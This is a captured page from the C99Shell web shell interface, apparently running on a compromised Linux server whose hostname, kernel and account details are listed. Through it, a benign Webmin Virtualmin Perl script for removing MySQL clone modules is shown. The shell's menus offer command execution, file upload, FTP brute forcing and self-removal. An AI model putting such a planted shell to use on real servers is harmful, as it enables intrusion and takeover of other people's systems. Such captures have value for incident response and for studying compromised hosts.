!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/virtual-server/   drwxrwxr-x
Free 28.58 GB of 117.98 GB (24.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     delete_newmysqls.cgi (2.19 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Remove a MySQL clone module, or change the default

require './virtual-server-lib.pl';
&can_edit_templates() || &error($text{'newmysqls_ecannot'});
&ReadParse();
&error_setup($in{'default'} ? $text{'newmysqls_derr2'}
                : $text{'newmysqls_derr'});
my @d = split(/\0/, $in{'d'});
@d || &error($text{'newmysqls_enone'});
my @mymods = (&list_remote_mysql_modules(), &list_remote_postgres_modules());

if ($in{'default'}) {
    # Just change the default for this DB type
    @d == 1 || &error($text{'newmysqls_etoomany'});

    # Set the default flag on the selected module
    my $newdef;
    foreach my $m (@mymods) {
        if ($m->{'minfo'}->{'dir'} eq $d[0]) {
            $newdef = $m;
            $m->{'config'}->{'virtualmin_default'} = 1;
            &save_module_config(
                $m->{'config'}, $m->{'minfo'}->{'dir'});
            }
        }

    # Clear the default flag on all others of the same type
    foreach my $m (@mymods) {
        if ($newdef &&
            $m->{'minfo'}->{'dir'} ne $d[0] &&
            $m->{'dbtype'} eq $newdef->{'dbtype'} &&
            $m->{'config'}->{'virtualmin_default'}) {
            $m->{'config'}->{'virtualmin_default'} = 0;
            &save_module_config(
                $m->{'config'}, $m->{'minfo'}->{'dir'});
            }
        }
    if ($newdef) {
        &webmin_log("default", "newmysql",
                $newdef->{'host'} || $newdef->{'sock'}, $newdef);
        }
    }
else {
    # Build and validate list to remove
    my %modmap = map { $_->{'minfo'}->{'dir'}, $_ } @mymods;
    my @alldoms = &list_domains();
    my @del;
    foreach my $d (@d) {
        my $mm = $modmap{$d};
        $mm || &error($text{'newmysqls_egone'});
        $mm->{'minfo'}->{'cloneof'} ||
            &error($text{'newmysqls_edelete'});
        $mm->{'config'}->{'virtualmin_default'} &&
            &error($text{'newmysqls_edefault'});
        $mm->{'config'}->{'virtualmin_provision'} &&
            &error($text{'newmysqls_eprovision'});
        my $modkey = $mm->{'dbtype'}.'_module';
        my @doms = grep { $_->{$modkey} eq
                      $mm->{'minfo'}->{'dir'} } @alldoms;
        @doms == 0 || &error(&text('newmysqls_einuse', scalar(@doms)));
        push(@del, $mm);
        }

    # Delete them
    foreach my $mm (@del) {
        if ($mm->{'dbtype'} eq 'mysql') {
            &delete_remote_mysql_module($mm);
            }
        else {
            &delete_remote_postgres_module($mm);
            }
        }

    &webmin_log("delete", "newmysqls", scalar(@d));
    }
&redirect("edit_newmysqls.cgi");

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--